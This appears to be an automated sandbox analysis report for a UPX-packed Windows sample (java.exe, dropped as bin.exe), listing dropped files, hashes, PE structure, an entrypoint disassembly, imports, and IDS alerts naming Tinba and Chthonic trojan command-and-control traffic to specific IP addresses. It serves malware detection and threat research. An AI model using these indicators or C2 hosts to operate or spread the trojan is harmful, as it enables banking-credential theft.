C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{8e18939b-a40a-444b-9260-fe31534f298a}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	37421
Entropy (8bit):	4.611252091103942
Encrypted:	false
SSDEEP:	768:6UjQxwcuyEZDqRKmJHGHly84yeiEaFHm2iLOOXYcc2jZ:b6y5U5Jkb4yej+vUOOoujZ
MD5:	9BDE56D9C4532F269928C5CE1FF2560D
SHA1:	FB816F6AAF8B7FF7CBB0B521A9D30BAA52CDDB7F
SHA-256:	89DE51E447ED49F7748B3D9C077B97703629575241D5BE61EAB5D4196C6CECAD
SHA-512:	DFB9548743887463AB6161D0972E6BB501BF4576D0CDAF1A7C7EE1E427DF59361BBD128D034AB45B68C8E48CA645022E39C5507A439074B30489E25F390760FF
Malicious:	false
Preview:	0.0....~.....~.....~.....~.....~.....~...~.....~.....~.....~.......~......~.......~.....~.....~.....~.....~......~.....~......~......~.......~.....~......~.....~.......~.......~......~.....~......~.......~.....~......~.....~.....~......~......~.....~......~.....~.............~.......~...md~...alc~..zune~..zord~..znip~..zip help~..zip file manager~..yourphone~..your phone~..yhis pc~..y pc~..y computer~..xxbox~..xox~..xontrol panel~..xonreol~..xnox~..xnipping~..xms~..xmd~..xls:wux:xls~..xhrome~..xcontrol~..xcmd~..xchrome~..xcalc~..xbxox~..xbv~..xbpx~..xboz~..xbox~..xboxx~..xboxc~..xbos~..xbop~..xboox~..xboix~..xboc~..xbob~..xbix~..xbb~..xamera~..xalc~..x86)~..x64)~..x box~..wyc~..wxcwl~..wxcel~..wword~..wsord~..wsnip~..wrord~..wrod~..wrodpad~..wqord~..wprd~..wprdpad~..wpord~..wowrd~..wotrd~..wotd~..wo

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{8e18939b-a40a-444b-9260-fe31534f298a}\0.1.filtertrie.intermediate.txt

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:Dy:W
MD5:	34BD1DFB9F72CF4F86E6DF6DA0A9E49A
SHA1:	5F96D66F33C81C0B10DF2128D3860E3CB7E89563
SHA-256:	8E1E6A3D56796A245D0C7B0849548932FEE803BBDB03F6E289495830E017F14C
SHA-512:	E3787DE7C4BC70CA62234D9A4CDC6BD665BFFA66DEBE3851EE3E8E49E7498B9F1CBC01294BF5E9F75DE13FB78D05879E82FA4B89EE45623FE5BF7AC7E48EDA96
Malicious:	false
Preview:	0.1..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{8e18939b-a40a-444b-9260-fe31534f298a}\0.2.filtertrie.intermediate.txt

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:Ay:Ay
MD5:	C204E9FAAF8565AD333828BEFF2D786E
SHA1:	7D23864F5E2A12C1A5F93B555D2D3E7C8F78EEC1
SHA-256:	D65B6A3BF11A27A1CED1F7E98082246E40CF01289FD47FE4A5ED46C221F2F73F
SHA-512:	E72F4F79A4AE2E5E40A41B322BC0408A6DEC282F90E01E0A8AAEDF9FB9D6F04A60F45A844595727539C1643328E9C1B989B90785271CC30A6550BBDA6B1909F8
Malicious:	false
Preview:	0.2..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{8e18939b-a40a-444b-9260-fe31534f298a}\Apps.ft

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	data
Category:	dropped
Size (bytes):	50373
Entropy (8bit):	3.7533011813000954
Encrypted:	false
SSDEEP:	1536:2crkq/9PYdKNAd1d0f41H1Ii0OyAAZXjLdk6nMUisfhteVoVPPP8qoEYhk5+6DC3:2ckq/1YdKNAd1d0f41H1Ii5yAAZXHdep
MD5:	42C6CF763BC1DCEFD79C0E5262E7DFC4
SHA1:	2EAA3A2B1557ED78CA1166EB007608137E52C343
SHA-256:	99205F34B2E4960BE69575908CF5BC9C57A32A240105848EE998E1E79F240707
SHA-512:	73B48317D927329B24F59C164CEA53D0A8AF6456F8CD8F93A285286696626E15B1E2BE286A39310D4772A6263D6AB43710A07392B501324732FADBF8F50DB487
Malicious:	false
Preview:	................h...."cmd"~........A%..aint~.........+r~........A,#A..A0..192~.........2016~........A3.A60A7.A[bAa,.b@..ck..d\|(.e...f'..g..h6..iq..j..AkG.l...m2..n~..o...p...q..Ar_.s...t>..u..Av.w...x...y..AzWB.RA..A.IC..UA......A.c..~........C.LA..C.(I..Cpre..run%~.........fetch%~.........ail~.........stsc~.........cmd~.........run~.........utlook~.........2-bit)~........Id.A ..~.........viewer~.........4-bit)~......... zip~........D-zip.Iz3A ..~........Ffile m..help~.........anager~.........fm~.........ip~........Aa..paint~.........int~.........omt~........CbouMAc.Ad.Ae..kype~........Al..mil~........An.Apa.rJ.As.At.Au..zure~.........t java~.........alc~........DcessS.ess~.........lc~.........md~.........on~.........robat~........G contro..s~.........~........Ol:wux:a.Occess c..ontrol~........Eapter%.b~........Ad"Cmin4Eobe a=Jva.F:wux:a..~.........dapter~........Fress b..~........Oook:wux.O:addres..s book~........E cmd:.Jis.Owux:adm..in cmd~........Otrative.. tools~........

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{8e18939b-a40a-444b-9260-fe31534f298a}\Apps.index

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	data
Category:	dropped
Size (bytes):	1126006
Entropy (8bit):	6.147114410359821
Encrypted:	false
SSDEEP:	24576:AoLr7YfoyFxz8GfoLr7YfoyFxz8G21it:AMwf1xz8GfMwf1xz8G2
MD5:	5665CA72FB1FE8FF993E1F56C8EDB387
SHA1:	11C371B293397DEE3289435CC6F797110D5A631B
SHA-256:	263D203F23A1E59D7FECA90148F7ED49333CD1CC607C58B4EEEDC1BF3A84F8C8
SHA-512:	5601C99D230FC811D192E23B4537048A86200532CE5A402749FCF687BBC23DF2E52CC3E8597E79E94A4E7CCF8945C825EA2A7EB93DD9A1F2204F28501E7FDBA1
Malicious:	false
Preview:	Ej..D..WindowsSearch....Apps...name..gscore..lscore...market.spelling.fE.h...K........~<~i..'..uT..r..7.c..l.s..P.x..c.k....p....'..CRa..Qn...a.,[.o2..t.u}.,{f.m.Q..e ;.w.0..l..(.y..P......gy..d.:&.i.;.[..n.b....j.z#.@.E.Q!..Q......N.Q/...`.z.Qh.7.f..+.4.. . ....v..L.8..Q6#.Q\..Qq.B.;.}..0....9...A5...X.Qz.H.7.'..%. .Q3.8.....Q21/...M.Q.kQ-..."""""""jo..&.I.Q+.uQ1j...j.a:..Ab...;b...Q...'.<...#?< ..a_C..b]<3../.<...Ae..t!...u...Qb...n....y._.Qj.{Ql =.p.S..m)o..k...Qo..Qh..Q;7CQi1..w2..Qf.2Qd8h.r....sE...a.<..cZ... \...z."..,me<ume.Q.z5Qxx.av>.Q[@R.24<u 24.ig...At.Qnv.Q .'Qo0xae....yo<uetoDam"...k<ue k.Qs.0ab..=&i<ue i+..j<ue jhQd..Qr..Qc.`&p<ue p...a<ue a.&w<ue w..&f<ue f..&h<ue h...v<ue v.Ql..&.<ube....g<ue g....<uetoet<uet..TUh<uet..&u<ueto..&p<ueto..%y<uet..cr<u...Re<...i<uetoMa<...-o<eto...o(...o(...teret...ute.eute..luetjuey...st ta..s<unes%e<unew..n<ueenfj<u....men+e n...t<uetbs<..X%j<uej...2<ue2M%b<ueb[.%g<ueg...h<ueh.%v<uev1.%c<uec..%p<uep6.%f<uef..j<uo...ue

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133502574394086727.txt (copy)

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	114941
Entropy (8bit):	5.179500563537803
Encrypted:	false
SSDEEP:	384:zY/G8/n5LU/gT2/HA/Uc/jq/YI/Zk/Ey/eX/NV/CzS/1o/Yd/e4/YI/y+/jg/ikB:GSzoz5D4x9N/riL1/gY
MD5:	ED10444C46BD13DBDCC387D36132F171
SHA1:	3E2D788FBFE3DD9472AE92F934A944343C9238F2
SHA-256:	2CC2137515CD3446BA3F92772D32D12969204A505AA85054F9514E4820D6A125
SHA-512:	0B938F00A53819C35B60B3F5CD15311D9D64F2A518E439EAB5091EDD492744A6115A97C98376C0254ACC91CE73328A4A2B0669BC6E9C4FFFA3A006EDF82AFBB5
Malicious:	false
Preview:	[{"System.FileExtension":{"Value":".exe","Type":12},"System.Software.ProductVersion":{"Value":"N/A","Type":12},"System.Kind":{"Value":"program","Type":12},"System.ParsingName":{"Value":"308046B0AF4A39CB","Type":12},"System.Software.TimesUsed":{"Value":6,"Type":5},"System.Tile.Background":{"Value":4280291898,"Type":5},"System.AppUserModel.PackageFullName":{"Value":"N/A","Type":12},"System.Identity":{"Value":"N/A","Type":12},"System.FileName":{"Value":"firefox","Type":12},"System.ConnectedSearch.JumpList":{"Value":"[]","Type":12},"System.ConnectedSearch.VoiceCommandExamples":{"Value":"[]","Type":12},"System.ItemType":{"Value":"Desktop","Type":12},"System.DateAccessed":{"Value":1.3340807447259E+17,"Type":14},"System.Tile.EncodedTargetPath":{"Value":"{6D809377-6AF0-444B-8957-A3773F02200E}\\Mozilla Firefox\\firefox.exe","Type":12},"System.Tile.SmallLogoPath":{"Value":"N/A","Type":12},"System.ItemNameDisplay":{"Value":"Firefox","Type":12}},{"System.FileExtension":{"Value":".exe","Type":12},"

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133502574394086727.txt.~tmp

Download File

Process:	C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	114941
Entropy (8bit):	5.179500563537803
Encrypted:	false
SSDEEP:	384:zY/G8/n5LU/gT2/HA/Uc/jq/YI/Zk/Ey/eX/NV/CzS/1o/Yd/e4/YI/y+/jg/ikB:GSzoz5D4x9N/riL1/gY
MD5:	ED10444C46BD13DBDCC387D36132F171
SHA1:	3E2D788FBFE3DD9472AE92F934A944343C9238F2
SHA-256:	2CC2137515CD3446BA3F92772D32D12969204A505AA85054F9514E4820D6A125
SHA-512:	0B938F00A53819C35B60B3F5CD15311D9D64F2A518E439EAB5091EDD492744A6115A97C98376C0254ACC91CE73328A4A2B0669BC6E9C4FFFA3A006EDF82AFBB5
Malicious:	false
Preview:	[{"System.FileExtension":{"Value":".exe","Type":12},"System.Software.ProductVersion":{"Value":"N/A","Type":12},"System.Kind":{"Value":"program","Type":12},"System.ParsingName":{"Value":"308046B0AF4A39CB","Type":12},"System.Software.TimesUsed":{"Value":6,"Type":5},"System.Tile.Background":{"Value":4280291898,"Type":5},"System.AppUserModel.PackageFullName":{"Value":"N/A","Type":12},"System.Identity":{"Value":"N/A","Type":12},"System.FileName":{"Value":"firefox","Type":12},"System.ConnectedSearch.JumpList":{"Value":"[]","Type":12},"System.ConnectedSearch.VoiceCommandExamples":{"Value":"[]","Type":12},"System.ItemType":{"Value":"Desktop","Type":12},"System.DateAccessed":{"Value":1.3340807447259E+17,"Type":14},"System.Tile.EncodedTargetPath":{"Value":"{6D809377-6AF0-444B-8957-A3773F02200E}\\Mozilla Firefox\\firefox.exe","Type":12},"System.Tile.SmallLogoPath":{"Value":"N/A","Type":12},"System.ItemNameDisplay":{"Value":"Firefox","Type":12}},{"System.FileExtension":{"Value":".exe","Type":12},"

C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe

Download File

Process:	C:\Windows\SysWOW64\winver.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	112768
Entropy (8bit):	5.340092545821249
Encrypted:	false
SSDEEP:	1536:KiLOvRmmQegJfBbmAQ256/ZrwWnwqjhurmKFcxL8JQ2r0Eg:KiyvRmDLs/ZrwWJjAqGcRJ2hg
MD5:	CC18A03FCBC9DCF9DF31B64689EB3E55
SHA1:	A10BFE77CB47103B1D909BE2FF5A5F48BB476071
SHA-256:	250D35E8D6E571820344432ADEF717F30BD011C94FE132E77F58994FAA268FE6
SHA-512:	5E911E14F237B8BF1062F25F21436C6D7111C1589C068625E982DFFC26883F6429BE74AC13C3D713E25BC5DC960BD6EF4796F2CCE4FC1DAB3074B16E24AECB48
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}$...w...w...w..nw...w..~w...w..hw...w...w...w..}w...w..ow...w..kw...wRich...w........PE..L.....TT.............................Z............@.....................................................................................8...........................................................................................................UPX0....................................UPX1................................@....rsrc...............................@....imports............................@...........................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Entropy (8bit):	5.3400867518092765
TrID:	Win32 Executable (generic) a (10002005/4) 99.66% UPX compressed Win32 Executable (30571/9) 0.30% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	java.exe
File size:	112'768 bytes
MD5:	b471d5f706df69a4a28664d7e335a9da
SHA1:	995a757d4562d9f4e8231f359b4b78db2de1c1f0
SHA256:	223534841809356aa7c94f86e8b0f4d6b4ce317b8225b419b27a5ba320ab0b81
SHA512:	2bfeba6b8aec4caafd508644f08d3a70de469485c0c4e5220c231f024b5b48c9058896bdb55d5faccda6fad51402b6c10ffdbe8cc0612bebad81cd214c8238c3
SSDEEP:	1536:JiLOvRmmQegJfBbmAQ256/ZrwWnwqjhurmKFcxL8JQ2r0Eg:JiyvRmDLs/ZrwWJjAqGcRJ2hg
TLSH:	71B34B62F204E88BE817D8F69919CD3168A33DBD4890855E32D97F6D58B3AD30459F0F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........}$...w...w...w..nw...w..~w...w..hw...w...w...w..}w...w..ow...w..kw...wRich...w........PE..L...,9TT...........................

File Icon


Icon Hash:	d08c8e8ea2868a54

Static PE Info

General

Entrypoint:	0x405a80
Entrypoint Section:	UPX0
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5454392C [Sat Nov 1 01:36:44 2014 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	d39aa71a62356d5bd05b3ccf2dfedd9e

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 38h
mov dword ptr [ebp-10h], 00000000h
mov eax, dword ptr [ebp-10h]
mov dword ptr [ebp-2Ch], 00000001h
mov ecx, dword ptr [ebp-2Ch]
mov dword ptr [ebp-20h], 00000000h
mov word ptr [ebp-22h], 2D5Bh
mov edx, dword ptr [ebp-20h]
mov dword ptr [ebp-28h], 00000007h
mov esi, dword ptr [ebp-28h]
mov byte ptr [ebp-2Dh], 00000052h
mov bl, byte ptr [ebp-2Dh]
mov word ptr [ebp-30h], 796Dh
mov byte ptr [ebp-09h], bl
mov eax, dword ptr [ebp+00h]
mov dword ptr [0040DD44h], eax
lea eax, dword ptr [ebp+04h]
mov dword ptr [0040DD48h], eax
mov dword ptr [esp], esi
mov dword ptr [ebp-34h], eax
mov dword ptr [ebp-38h], ecx
mov dword ptr [ebp-3Ch], edx
call 00007F5D907FB55Eh
mov ecx, dword ptr [ebp-3Ch]
cmp eax, ecx
je 00007F5D907FB99Eh
mov ax, 0000h
mov cx, word ptr [ebp-30h]
mov dx, ax
sub dx, word ptr [ebp-30h]
mov word ptr [ebp-30h], dx
sub ax, word ptr [ebp-30h]
or cx, 1256h
mov word ptr [ebp-30h], cx
mov word ptr [ebp-22h], ax
mov esi, dword ptr [ebp-38h]
mov dword ptr [ebp-14h], esi
jmp 00007F5D907FB984h
mov ax, 0000h
mov ecx, dword ptr [ebp-34h]
mov dword ptr [ebp-14h], ecx
sub ax, word ptr [ebp-22h]
mov word ptr [ebp-22h], ax
mov eax, dword ptr [ebp-14h]
mov cx, word ptr [ebp-22h]
and cx, 0673h
mov word ptr [ebp-22h], cx
add esp, 38h
pop esi
pop ebx
pop ebp
ret
add byte ptr [eax], al

Rich Headers

Programming Language:

[ASM] VS2005 build 50727
[ C ] VS2005 build 50727
[IMP] VS2005 build 50727
[C++] VS2005 build 50727
[RES] VS2005 build 50727
[LNK] VS2005 build 50727

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1d000	0x8c	.imports
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1c000	0x638	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0x10000	0xf600	False	0.4557768038617886	DOS executable (COM)	4.895667733918766	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX1	0x11000	0xb000	0xaa00	False	0.3551470588235294	data	5.65815268907495	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1c000	0x1000	0x800	False	0.41162109375	data	3.379567063767855	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.imports	0x1d000	0x1000	0xc00	False	0.421875	data	4.436376811230836	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x11228	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 0	0.21890243902439024
RT_ICON	0x118a0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	0.3400537634408602
RT_ICON	0x11b98	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 0	0.35450819672131145
RT_ICON	0x11d90	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	0.46283783783783783
RT_ICON	0x11ec8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	0.5026652452025586
RT_ICON	0x12d80	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	0.5798736462093863
RT_ICON	0x13638	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	0.40264976958525345
RT_ICON	0x13d10	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	0.3273121387283237
RT_ICON	0x14288	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.27344398340248965
RT_ICON	0x16840	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.37875234521575984
RT_ICON	0x178f8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	0.37868852459016394
RT_ICON	0x18290	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.4796099290780142
RT_GROUP_ICON	0x18708	0xae	data	0.5977011494252874
RT_VERSION	0x1c2fc	0x33c	data	0.47342995169082125

Imports

DLL	Import
GDI32.dll	GetDeviceCaps
KERNEL32.DLL	AddAtomW, FreeConsole, GetCurrencyFormatW, IsProcessorFeaturePresent, CreateEventA, OpenFileMappingW, LocalHandle, HeapSize, MulDiv, WriteFile, GetTempFileNameW, SetLocaleInfoW, DosDateTimeToFileTime, EnumLanguageGroupLocalesW, CreatePipe, GetPrivateProfileSectionNamesA, SetConsoleTitleA, CancelDeviceWakeupRequest, GetVolumePathNameA, GetProfileIntA, GetDateFormatA, DebugBreak, SuspendThread, SetCommMask, EnumUILanguagesW, MoveFileWithProgressA, BackupRead, GetNumberOfConsoleInputEvents, GetLongPathNameA, FreeLibrary, GetFileAttributesW, EnumDateFormatsA, QueryDosDeviceA, UpdateResourceW, WritePrivateProfileStructA, lstrcpynA, GetExitCodeProcess, GlobalAddAtomW, GetShortPathNameW, UnlockFileEx, SetComputerNameExA, GetExitCodeProcess
WINMM.dll	timeSetEvent, waveOutOpen, midiConnect, midiOutSetVolume, mmioOpenA, mmioWrite, DrvGetModuleHandle, mciGetDeviceIDFromElementIDW, waveOutGetErrorTextW, joyGetPosEx, mixerSetControlDetails, joySetThreshold, mmioRead, waveOutGetDevCapsA, DefDriverProc, mmioDescend, mixerGetLineInfoA, mciSendStringA, midiOutClose, midiInGetDevCapsW, midiStreamOut, mmioSetBuffer, midiInClose, waveOutReset, midiOutPrepareHeader, waveInGetPosition, GetDriverModuleHandle, mmioGetInfo, midiInMessage, mciGetCreatorTask, auxGetVolume, joyGetDevCapsW, waveInGetErrorTextA, mixerGetLineControlsW
mscms.dll	GetColorProfileElement, UninstallColorProfileA, AssociateColorProfileWithDeviceA, EnumColorProfilesW, GetStandardColorSpaceProfileW, DisassociateColorProfileFromDeviceW, GetStandardColorSpaceProfileA, SetStandardColorSpaceProfileW, DeleteColorTransform, GetPS2ColorRenderingIntent, SetColorProfileHeader, TranslateBitmapBits, CreateColorTransformA, ConvertIndexToColorName, CreateProfileFromLogColorSpaceW, RegisterCMMW, GetColorProfileElementTag, GetColorProfileFromHandle, UninstallColorProfileW, CreateMultiProfileTransform, GetCountColorProfileElements, InstallColorProfileA, CreateColorTransformW, CheckColors, SetColorProfileElementReference
msvcrt.dll	iswprint, _wgetenv, srand, strtok, iswupper, tolower, fputs, _swab, wcsncpy, _fputchar, iswctype, _strupr, bsearch, _strnicmp, memcmp, _wspawnl, _abnormal_termination, _rotl, _flsbuf, isdigit, memmove, _isctype, isalpha, isgraph, _wspawnvpe, _wexecve, _wcslwr, _wcsrev, fputwc, _fcvt, _ultoa, tmpnam, _wcreat
ole32.dll	OleCreateFromData, HWND_UserMarshal, CreateAntiMoniker, CoInitialize, CoSetProxyBlanket, CoDisconnectObject, ReleaseStgMedium, HGLOBAL_UserSize, PropStgNameToFmtId

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.4216.218.185.16249742802020418 01/20/24-20:41:48.295231	TCP	2020418	ET TROJAN Tinba Checkin 2	49742	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249742802830613 01/20/24-20:41:48.295231	TCP	2830613	ETPRO TROJAN W32/Chthonic CnC Activity	49742	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249738802830613 01/20/24-20:41:42.359145	TCP	2830613	ETPRO TROJAN W32/Chthonic CnC Activity	49738	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249738802024659 01/20/24-20:41:42.359145	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49738	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249743802830613 01/20/24-20:41:49.827227	TCP	2830613	ETPRO TROJAN W32/Chthonic CnC Activity	49743	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249738802020418 01/20/24-20:41:42.359145	TCP	2020418	ET TROJAN Tinba Checkin 2	49738	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249739802020418 01/20/24-20:41:43.842659	TCP	2020418	ET TROJAN Tinba Checkin 2	49739	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249739802024659 01/20/24-20:41:43.842659	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49739	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249741802024659 01/20/24-20:41:46.905610	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49741	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249735802020418 01/20/24-20:41:33.804089	TCP	2020418	ET TROJAN Tinba Checkin 2	49735	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249740802020418 01/20/24-20:41:45.528112	TCP	2020418	ET TROJAN Tinba Checkin 2	49740	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249735802024659 01/20/24-20:41:33.804089	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49735	80	192.168.2.4	216.218.185.162
192.168.2.4178.62.201.3449736802024659 01/20/24-20:41:39.347423	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49736	80	192.168.2.4	178.62.201.34
192.168.2.4216.218.185.16249737802020418 01/20/24-20:41:40.938841	TCP	2020418	ET TROJAN Tinba Checkin 2	49737	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249740802024659 01/20/24-20:41:45.528112	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49740	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249743802024659 01/20/24-20:41:49.827227	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49743	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249741802020418 01/20/24-20:41:46.905610	TCP	2020418	ET TROJAN Tinba Checkin 2	49741	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249743802020418 01/20/24-20:41:49.827227	TCP	2020418	ET TROJAN Tinba Checkin 2	49743	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249742802024659 01/20/24-20:41:48.295231	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49742	80	192.168.2.4	216.218.185.162
192.168.2.4216.218.185.16249739802830613 01/20/24-20:41:43.842659	TCP	2830613	ETPRO TROJAN W32/Chthonic CnC Activity	49739	80	192.168.2.4	216.218.185.162
192.168.2.4178.62.201.3449736802020418 01/20/24-20:41:39.347423	TCP	2020418	ET TROJAN Tinba Checkin 2	49736	80	192.168.2.4	178.62.201.34
192.168.2.4216.218.185.16249737802024659 01/20/24-20:41:40.938841	TCP	2024659	ET TROJAN [PTsecurity] Tinba Checkin 4	49737	80	192.168.2.4	216.218.185.162

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 20, 2024 20:40:49.999314070 CET	49675	443	192.168.2.4	173.222.162.32
Jan 20, 2024 20:40:59.608702898 CET	49675	443	192.168.2.4	173.222.162.32
Jan 20, 2024 20:41:12.790848017 CET	49672	443	192.168.2.4	173.222.162.32
Jan 20, 2024 20:41:12.792475939 CET	49730	443	192.168.2.4	173.222.162.32
Jan 20, 2024 20:41:12.792515039 CET	443	49730	173.222.162.32	192.168.2.4
Jan 20, 2024 20:41:12.792593002 CET	49730	443	192.168.2.4	173.222.162.32
Jan 20, 2024 20:41:12.793143988 CET	49730	443	192.168.2.4	173.222.162.32
Jan 20, 2024 20:41:12.793160915 CET	443	49730	173.222.162.32	192.168.2.4
Jan 20, 2024 20:41:13.093056917 CET	49672	443	192.168.2.4	173.222.162.32
Jan 20, 2024 20:41:13.124512911 CET	443	49730	173.222.162.32	192.168.2.4
Jan 20, 2024 20:41:13.124597073 CET	49730	443	192.168.2.4	173.222.162.32
Jan 20, 2024 20:41:13.702439070 CET	49672	443	192.168.2.4	173.222.162.32
Jan 20, 2024 20:41:14.905580044 CET	49672	443	192.168.2.4	173.222.162.32
Jan 20, 2024 20:41:14.931662083 CET	49730	443	192.168.2.4	173.222.162.32
Jan 20, 2024 20:41:14.931703091 CET	443	49730	173.222.162.32	192.168.2.4
Jan 20, 2024 20:41:14.932826042 CET	443	49730	173.222.162.32	192.168.2.4
Jan 20, 2024 20:41:14.932955027 CET	49730	443	192.168.2.4	173.222.162.32
